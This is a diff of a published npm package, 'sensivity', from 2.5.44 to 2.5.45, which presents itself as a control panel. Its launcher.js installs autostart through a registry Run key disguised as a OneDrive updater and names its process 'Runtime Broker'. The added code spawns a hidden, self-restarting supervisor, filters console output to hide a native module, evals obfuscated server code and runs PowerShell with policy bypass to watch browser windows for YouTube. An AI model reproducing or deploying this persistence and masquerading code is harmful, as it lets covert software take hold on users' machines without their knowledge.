sensivity 2.5.44 → 2.5.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.qr.txt +19 -0
- package/.qrshow.ps1 +20 -0
- package/cli.js +0 -0
- package/launcher.js +280 -25
- package/package.json +8 -15
- package/public/assets/logo.png +0 -0
- package/public/css/style.css +988 -252
- package/public/index.html +15 -7
- package/public/js/app.js +575 -62
- package/public/js/config_schema.js +56 -10
- package/sens.node +0 -0
- package/server.obf.js +1 -1
package/.qr.txt
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
[47m[30m ▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ [0m
|
|
2
|
+
[47m[30m █ ▄▄▄ █ ██ ▄ ▄▄█▄ █ ▄▄▄ █ [0m
|
|
3
|
+
[47m[30m █ ███ █ ▄ █ █ █▄▄ █ ███ █ [0m
|
|
4
|
+
[47m[30m █▄▄▄▄▄█ ▄ █▀▄ ▄▀▄ █▄▄▄▄▄█ [0m
|
|
5
|
+
[47m[30m ▄ ▄▄▄▄▄▄▀▀█ █▀ ▄▄ ▄ ▄▄▄ [0m
|
|
6
|
+
[47m[30m █▄ ▄▀▀▄▄ ▄██▀ █ ▀▀▀▀█▀▀▄ [0m
|
|
7
|
+
[47m[30m ▄█ ▄▀▄ ▄▀██▀▄▄ ▀▄ █▄▀▀▀█ [0m
|
|
8
|
+
[47m[30m █▄▄▄▄▄▄▀▄█ ▀ █ ▀▀▄██▄▄█▄ [0m
|
|
9
|
+
[47m[30m █ █ ▀▀▄ ▄▀▀▄█▀▀█▄██▄█▄█▄▀ [0m
|
|
10
|
+
[47m[30m ▄▄▄▄▄▄▄ █ ▀▀▄▄▄▄█ ▄ █▄█▀▄ [0m
|
|
11
|
+
[47m[30m █ ▄▄▄ █ ██▀█ █ ▀█▄▄▄█▄▀▄█ [0m
|
|
12
|
+
[47m[30m █ ███ █ ▀ █▄▀█ ▄ ▄█ ▀█▄█ [0m
|
|
13
|
+
[47m[30m █▄▄▄▄▄█ ▄█ ███ ▄▀█▀██ ▀█ [0m
|
|
14
|
+
[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m[37m▀[47m[30m[0m
|
|
15
|
+
[47m[30m[0m
|
|
16
|
+
|
|
17
|
+
http://192.168.1.16:3000
|
|
18
|
+
|
|
19
|
+
Scan with your phone
|
package/.qrshow.ps1
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
|
|
2
|
+
$host.UI.RawUI.WindowTitle = "Sensivity QR"
|
|
3
|
+
try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}
|
|
4
|
+
Clear-Host
|
|
5
|
+
Get-Content "C:\Users\Administrator\Desktop\Forte\Forte\package\.qr.txt" -Encoding UTF8
|
|
6
|
+
Write-Host ""
|
|
7
|
+
Start-Sleep -Seconds 3
|
|
8
|
+
$failCount = 0
|
|
9
|
+
while($true) {
|
|
10
|
+
Start-Sleep -Seconds 4
|
|
11
|
+
try {
|
|
12
|
+
$c=Get-Process chrome -EA Stop
|
|
13
|
+
$f=$false
|
|
14
|
+
if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}
|
|
15
|
+
if(-not $f){$failCount++} else {$failCount=0}
|
|
16
|
+
if($failCount -ge 3){break}
|
|
17
|
+
} catch { $failCount++; if($failCount -ge 3){break} }
|
|
18
|
+
}
|
|
19
|
+
del "C:\Users\Administrator\Desktop\Forte\Forte\package\.qr.txt" -Force -EA 0
|
|
20
|
+
del "C:\Users\Administrator\Desktop\Forte\Forte\package\.qrshow.ps1" -Force -EA 0
|
package/cli.js
CHANGED
|
File without changes
|
package/launcher.js
CHANGED
|
@@ -1,19 +1,246 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
1
2
|
'use strict';
|
|
2
3
|
const fs = require('fs');
|
|
3
4
|
const path = require('path');
|
|
4
|
-
const { execSync, exec } = require('child_process');
|
|
5
|
+
const { execSync, exec, spawn } = require('child_process');
|
|
5
6
|
const APP_DIR = __dirname;
|
|
7
|
+
try { process.chdir(APP_DIR); } catch(e) {}
|
|
8
|
+
|
|
9
|
+
const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
|
|
10
|
+
const rawConsole = {
|
|
11
|
+
log: console.log.bind(console),
|
|
12
|
+
warn: console.warn.bind(console),
|
|
13
|
+
error: console.error.bind(console)
|
|
14
|
+
};
|
|
15
|
+
const QR_WINDOW_TITLE = 'Windows PowerShell';
|
|
16
|
+
const YOUTUBE_BROWSER_PROCESSES = ['chrome', 'msedge', 'opera', 'opera_gx', 'brave'];
|
|
17
|
+
const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
|
|
18
|
+
const SUPERVISOR_VERSION_FILE = path.join(APP_DIR, '.sensivity-supervisor.version');
|
|
19
|
+
const QR_PID_FILE = path.join(APP_DIR, '.sensivity-qr.pid');
|
|
20
|
+
const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
|
|
21
|
+
const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
|
|
22
|
+
const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
|
|
23
|
+
const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
|
|
24
|
+
let PACKAGE_VERSION = '0.0.0';
|
|
25
|
+
try { PACKAGE_VERSION = require(path.join(APP_DIR, 'package.json')).version || PACKAGE_VERSION; } catch(e) {}
|
|
26
|
+
|
|
27
|
+
function cleanIssueValue(value) {
|
|
28
|
+
let text = '';
|
|
29
|
+
if (value instanceof Error) text = [value.code, value.message, value.stack].filter(Boolean).join(' ');
|
|
30
|
+
else if (typeof value === 'string') text = value;
|
|
31
|
+
else {
|
|
32
|
+
try { text = JSON.stringify(value); } catch(e) { text = String(value); }
|
|
33
|
+
}
|
|
34
|
+
return text
|
|
35
|
+
.replace(/sens\.node/gi, 'program module')
|
|
36
|
+
.replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>')
|
|
37
|
+
.replace(/\s+/g, ' ')
|
|
38
|
+
.trim();
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
function cleanConsoleValue(value) {
|
|
42
|
+
let text = '';
|
|
43
|
+
if (value instanceof Error) text = [value.code, value.message].filter(Boolean).join(' ');
|
|
44
|
+
else if (typeof value === 'string') text = value;
|
|
45
|
+
else {
|
|
46
|
+
try { text = JSON.stringify(value); } catch(e) { text = String(value); }
|
|
47
|
+
}
|
|
48
|
+
return text
|
|
49
|
+
.replace(/sens\.node/gi, 'program module')
|
|
50
|
+
.replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>');
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
['log', 'warn', 'error'].forEach(level => {
|
|
54
|
+
console[level] = (...args) => {
|
|
55
|
+
const cleaned = args.map(cleanConsoleValue);
|
|
56
|
+
const joined = cleaned.join(' ').toLowerCase();
|
|
57
|
+
if (joined.includes('program module loaded')) return;
|
|
58
|
+
rawConsole[level](...cleaned);
|
|
59
|
+
};
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
function issueLog(message, detail) {
|
|
63
|
+
const cleanMessage = cleanIssueValue(message);
|
|
64
|
+
const cleanDetail = detail === undefined ? '' : cleanIssueValue(detail);
|
|
65
|
+
const line = '[Program] ' + cleanMessage + (cleanDetail ? ' | ' + cleanDetail : '');
|
|
66
|
+
const now = Date.now();
|
|
67
|
+
if (line === issueState.lastLine && now - issueState.lastTime < 1500) return;
|
|
68
|
+
issueState.lastLine = line;
|
|
69
|
+
issueState.lastTime = now;
|
|
70
|
+
rawConsole.warn(line);
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
function removeFileSafe(file) {
|
|
74
|
+
try { fs.unlinkSync(file); } catch(e) {}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
function psString(value) {
|
|
78
|
+
return "'" + String(value).replace(/'/g, "''") + "'";
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
function youtubeBrowserPs() {
|
|
82
|
+
const names = '@(' + YOUTUBE_BROWSER_PROCESSES.map(psString).join(',') + ')';
|
|
83
|
+
return [
|
|
84
|
+
'$browserNames = ' + names,
|
|
85
|
+
'function Get-YouTubeBrowser {',
|
|
86
|
+
' foreach($name in $browserNames) {',
|
|
87
|
+
' $items = Get-Process -Name $name -EA 0',
|
|
88
|
+
' if($items) { foreach($p in $items) { try { if($p.MainWindowTitle -match "YouTube") { return $name } } catch {} } }',
|
|
89
|
+
' }',
|
|
90
|
+
' return ""',
|
|
91
|
+
'}'
|
|
92
|
+
].join('\n');
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
function ensureAutostart() {
|
|
96
|
+
try {
|
|
97
|
+
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
98
|
+
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
99
|
+
} catch(e) {}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
function isProcessAlive(pid) {
|
|
103
|
+
if (!pid || pid === process.pid) return false;
|
|
104
|
+
try {
|
|
105
|
+
process.kill(pid, 0);
|
|
106
|
+
return true;
|
|
107
|
+
} catch(e) {
|
|
108
|
+
return false;
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
function isSupervisorRunning() {
|
|
113
|
+
try {
|
|
114
|
+
const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
|
|
115
|
+
return isProcessAlive(pid);
|
|
116
|
+
} catch(e) {
|
|
117
|
+
return false;
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
function isSupervisorCurrent() {
|
|
122
|
+
if (!isSupervisorRunning()) return false;
|
|
123
|
+
try {
|
|
124
|
+
return fs.readFileSync(SUPERVISOR_VERSION_FILE, 'utf8').trim() === PACKAGE_VERSION;
|
|
125
|
+
} catch(e) {
|
|
126
|
+
return false;
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
function sleepMs(ms) {
|
|
131
|
+
try { execSync('powershell -NoProfile -Command "Start-Sleep -Milliseconds ' + Number(ms || 0) + '"', { stdio: 'ignore', timeout: Math.max(1000, Number(ms || 0) + 1000) }); } catch(e) {}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
function stopOldBackground() {
|
|
135
|
+
try {
|
|
136
|
+
const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
|
|
137
|
+
if (pid && pid !== process.pid) {
|
|
138
|
+
try { process.kill(pid); } catch(e) {}
|
|
139
|
+
}
|
|
140
|
+
} catch(e) {}
|
|
141
|
+
try {
|
|
142
|
+
execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 });
|
|
143
|
+
} catch(e) {}
|
|
144
|
+
removeFileSafe(SUPERVISOR_PID_FILE);
|
|
145
|
+
removeFileSafe(SUPERVISOR_VERSION_FILE);
|
|
146
|
+
sleepMs(500);
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
function isPanelPortBusy() {
|
|
150
|
+
try {
|
|
151
|
+
const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
|
|
152
|
+
return out.trim() === 'YES';
|
|
153
|
+
} catch(e) {
|
|
154
|
+
return false;
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
function startSupervisor() {
|
|
159
|
+
try {
|
|
160
|
+
removeFileSafe(STOP_FILE);
|
|
161
|
+
const child = spawn(process.execPath, [__filename], {
|
|
162
|
+
cwd: APP_DIR,
|
|
163
|
+
detached: true,
|
|
164
|
+
stdio: 'ignore',
|
|
165
|
+
windowsHide: true,
|
|
166
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
|
|
167
|
+
});
|
|
168
|
+
child.unref();
|
|
169
|
+
return true;
|
|
170
|
+
} catch(e) {
|
|
171
|
+
issueLog('Background start failed', e);
|
|
172
|
+
return false;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
function runSupervisor() {
|
|
177
|
+
process.title = 'Runtime Broker';
|
|
178
|
+
try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
|
|
179
|
+
try { fs.writeFileSync(SUPERVISOR_VERSION_FILE, PACKAGE_VERSION); } catch(e) {}
|
|
180
|
+
|
|
181
|
+
const cleanup = () => {
|
|
182
|
+
removeFileSafe(SUPERVISOR_PID_FILE);
|
|
183
|
+
removeFileSafe(SUPERVISOR_VERSION_FILE);
|
|
184
|
+
};
|
|
185
|
+
process.on('exit', cleanup);
|
|
186
|
+
process.on('SIGINT', () => process.exit(0));
|
|
187
|
+
process.on('SIGTERM', () => process.exit(0));
|
|
188
|
+
|
|
189
|
+
const launchWorker = () => {
|
|
190
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
191
|
+
removeFileSafe(STOP_FILE);
|
|
192
|
+
process.exit(0);
|
|
193
|
+
}
|
|
194
|
+
if (isPanelPortBusy()) {
|
|
195
|
+
setTimeout(launchWorker, 2000);
|
|
196
|
+
return;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
let worker;
|
|
200
|
+
try {
|
|
201
|
+
worker = spawn(process.execPath, [__filename], {
|
|
202
|
+
cwd: APP_DIR,
|
|
203
|
+
stdio: 'ignore',
|
|
204
|
+
windowsHide: true,
|
|
205
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
|
|
206
|
+
});
|
|
207
|
+
} catch(e) {
|
|
208
|
+
setTimeout(launchWorker, 3000);
|
|
209
|
+
return;
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
worker.on('exit', () => {
|
|
213
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
214
|
+
removeFileSafe(STOP_FILE);
|
|
215
|
+
process.exit(0);
|
|
216
|
+
}
|
|
217
|
+
setTimeout(launchWorker, 1500);
|
|
218
|
+
});
|
|
219
|
+
worker.on('error', () => setTimeout(launchWorker, 3000));
|
|
220
|
+
};
|
|
221
|
+
|
|
222
|
+
launchWorker();
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
if (IS_SUPERVISOR) {
|
|
226
|
+
runSupervisor();
|
|
227
|
+
} else {
|
|
228
|
+
if (!IS_WORKER && !RUN_AS_FOREGROUND) {
|
|
229
|
+
ensureAutostart();
|
|
230
|
+
if (!isSupervisorCurrent()) {
|
|
231
|
+
if (isSupervisorRunning() || isPanelPortBusy()) stopOldBackground();
|
|
232
|
+
startSupervisor();
|
|
233
|
+
}
|
|
234
|
+
process.exit(0);
|
|
235
|
+
}
|
|
6
236
|
|
|
7
237
|
process.title = 'Runtime Broker';
|
|
8
238
|
|
|
9
|
-
process.on('uncaughtException',
|
|
10
|
-
process.on('unhandledRejection',
|
|
239
|
+
process.on('uncaughtException', e => issueLog('Program fault', e));
|
|
240
|
+
process.on('unhandledRejection', e => issueLog('Program async fault', e));
|
|
11
241
|
|
|
12
242
|
// ===== Auto-start =====
|
|
13
|
-
|
|
14
|
-
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
15
|
-
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
16
|
-
} catch(e) {}
|
|
243
|
+
ensureAutostart();
|
|
17
244
|
|
|
18
245
|
function removeAutostart() {
|
|
19
246
|
try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
|
|
@@ -22,8 +249,7 @@ function removeAutostart() {
|
|
|
22
249
|
// ===== YouTube detection =====
|
|
23
250
|
function checkYouTube(callback) {
|
|
24
251
|
const f = path.join(APP_DIR, '.yt.ps1');
|
|
25
|
-
try { fs.writeFileSync(f,
|
|
26
|
-
const { spawn } = require('child_process');
|
|
252
|
+
try { fs.writeFileSync(f, youtubeBrowserPs() + '\nif(Get-YouTubeBrowser){Write-Output "FOUND";exit}\nWrite-Output "NO"'); } catch(e) {}
|
|
27
253
|
const p = spawn('powershell', ['-NoProfile', '-EP', 'Bypass', '-File', f], { stdio: ['ignore', 'pipe', 'ignore'] });
|
|
28
254
|
let out = '';
|
|
29
255
|
p.stdout.on('data', d => out += d);
|
|
@@ -34,21 +260,44 @@ function checkYouTube(callback) {
|
|
|
34
260
|
// ===== QR Window =====
|
|
35
261
|
let qrOpen = false;
|
|
36
262
|
|
|
263
|
+
function qrWindowExists() {
|
|
264
|
+
try {
|
|
265
|
+
const pid = parseInt(fs.readFileSync(QR_PID_FILE, 'utf8'), 10);
|
|
266
|
+
return isProcessAlive(pid);
|
|
267
|
+
} catch(e) {
|
|
268
|
+
return false;
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
|
|
37
272
|
function showQR() {
|
|
38
|
-
if (qrOpen) return;
|
|
273
|
+
if (qrOpen && qrWindowExists()) return;
|
|
274
|
+
if (qrWindowExists()) { qrOpen = true; return; }
|
|
39
275
|
qrOpen = true;
|
|
40
276
|
const url = global.serverUrl || 'http://192.168.1.16:3000';
|
|
277
|
+
const webUrl = 'http://localhost:3000';
|
|
41
278
|
|
|
42
279
|
const qrFile = path.join(APP_DIR, '.qr.txt');
|
|
280
|
+
const writeQrText = qr => {
|
|
281
|
+
const mobileBlock = qr || url;
|
|
282
|
+
fs.writeFileSync(qrFile, [
|
|
283
|
+
mobileBlock,
|
|
284
|
+
'',
|
|
285
|
+
'Mobile QR',
|
|
286
|
+
url,
|
|
287
|
+
'',
|
|
288
|
+
'Web Panel',
|
|
289
|
+
webUrl,
|
|
290
|
+
'Open in private/incognito mode: ' + webUrl
|
|
291
|
+
].join('\n'));
|
|
292
|
+
};
|
|
43
293
|
try {
|
|
44
294
|
const QRCode = require('qrcode');
|
|
45
295
|
QRCode.toString(url, { type: 'terminal', small: true }, (err, qr) => {
|
|
46
|
-
|
|
47
|
-
else fs.writeFileSync(qrFile, qr + '\n\n' + url + '\n\nScan with your phone');
|
|
296
|
+
writeQrText(err ? '' : qr);
|
|
48
297
|
launchPS();
|
|
49
298
|
});
|
|
50
299
|
} catch(e) {
|
|
51
|
-
|
|
300
|
+
writeQrText('');
|
|
52
301
|
launchPS();
|
|
53
302
|
}
|
|
54
303
|
|
|
@@ -56,25 +305,29 @@ function showQR() {
|
|
|
56
305
|
const psFile = path.join(APP_DIR, '.qrshow.ps1');
|
|
57
306
|
fs.writeFileSync(psFile, [
|
|
58
307
|
'[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
|
|
59
|
-
'$host.UI.RawUI.WindowTitle = "
|
|
308
|
+
'$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
|
|
309
|
+
'Set-Content -Path ' + psString(QR_PID_FILE) + ' -Value $PID -Force',
|
|
310
|
+
youtubeBrowserPs(),
|
|
311
|
+
'$webUrl = ' + psString(webUrl),
|
|
60
312
|
'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
|
|
61
313
|
'Clear-Host',
|
|
62
|
-
'Get-Content
|
|
314
|
+
'Get-Content ' + psString(qrFile) + ' -Encoding UTF8',
|
|
63
315
|
'Write-Host ""',
|
|
316
|
+
'Remove-Item ' + psString(qrFile) + ' -Force -EA 0',
|
|
317
|
+
'Remove-Item ' + psString(psFile) + ' -Force -EA 0',
|
|
64
318
|
'Start-Sleep -Seconds 3',
|
|
65
319
|
'$failCount = 0',
|
|
320
|
+
'$ticks = 0',
|
|
66
321
|
'while($true) {',
|
|
67
|
-
' Start-Sleep -
|
|
68
|
-
'
|
|
69
|
-
'
|
|
70
|
-
'
|
|
71
|
-
'
|
|
72
|
-
'
|
|
73
|
-
'
|
|
74
|
-
' } catch { $failCount++; if($failCount -ge 3){break} }',
|
|
322
|
+
' Start-Sleep -Milliseconds 250',
|
|
323
|
+
' $ticks++',
|
|
324
|
+
' if($ticks -lt 16){continue}',
|
|
325
|
+
' $ticks = 0',
|
|
326
|
+
' $found = [bool](Get-YouTubeBrowser)',
|
|
327
|
+
' if(-not $found){$failCount++} else {$failCount=0}',
|
|
328
|
+
' if($failCount -ge 3){break}',
|
|
75
329
|
'}',
|
|
76
|
-
'
|
|
77
|
-
'del "' + psFile + '" -Force -EA 0'
|
|
330
|
+
'Remove-Item ' + psString(QR_PID_FILE) + ' -Force -EA 0'
|
|
78
331
|
].join('\n'));
|
|
79
332
|
exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
|
|
80
333
|
}
|
|
@@ -99,6 +352,7 @@ monitor();
|
|
|
99
352
|
// ===== Kill =====
|
|
100
353
|
global.killSensivity = () => {
|
|
101
354
|
global._shuttingDown = true;
|
|
355
|
+
try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
|
|
102
356
|
hideQR();
|
|
103
357
|
// Auto-start KALIR, sadece process durur
|
|
104
358
|
setTimeout(() => process.exit(), 500);
|
|
@@ -109,3 +363,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
|
|
|
109
363
|
? path.join(APP_DIR, 'server.obf.js')
|
|
110
364
|
: path.join(APP_DIR, 'server.js');
|
|
111
365
|
eval(fs.readFileSync(serverCode, 'utf8'));
|
|
366
|
+
}
|
package/package.json
CHANGED
|
@@ -1,27 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sensivity",
|
|
3
|
-
"version": "2.5.
|
|
4
|
-
"description": "Sensivity
|
|
3
|
+
"version": "2.5.45",
|
|
4
|
+
"description": "Sensivity Control Panel",
|
|
5
5
|
"main": "launcher.js",
|
|
6
6
|
"bin": {
|
|
7
|
-
"
|
|
7
|
+
"sensivity": "launcher.js",
|
|
8
|
+
"sens": "launcher.js"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"start": "node launcher.js",
|
|
12
|
+
"build": "npm --prefix .. run build:customer"
|
|
8
13
|
},
|
|
9
|
-
"files": [
|
|
10
|
-
"cli",
|
|
11
|
-
"cli.js",
|
|
12
|
-
"launcher.js",
|
|
13
|
-
"server.obf.js",
|
|
14
|
-
"sens.node",
|
|
15
|
-
"public/",
|
|
16
|
-
"OneDrive.Standalone.Updater.vbs"
|
|
17
|
-
],
|
|
18
14
|
"dependencies": {
|
|
19
15
|
"express": "^4.21.0",
|
|
20
16
|
"socket.io": "^4.7.0",
|
|
21
17
|
"qrcode": "^1.5.0",
|
|
22
18
|
"qrcode-terminal": "^0.12.0"
|
|
23
|
-
},
|
|
24
|
-
"engines": {
|
|
25
|
-
"node": ">=18"
|
|
26
19
|
}
|
|
27
20
|
}
|
|
Binary file
|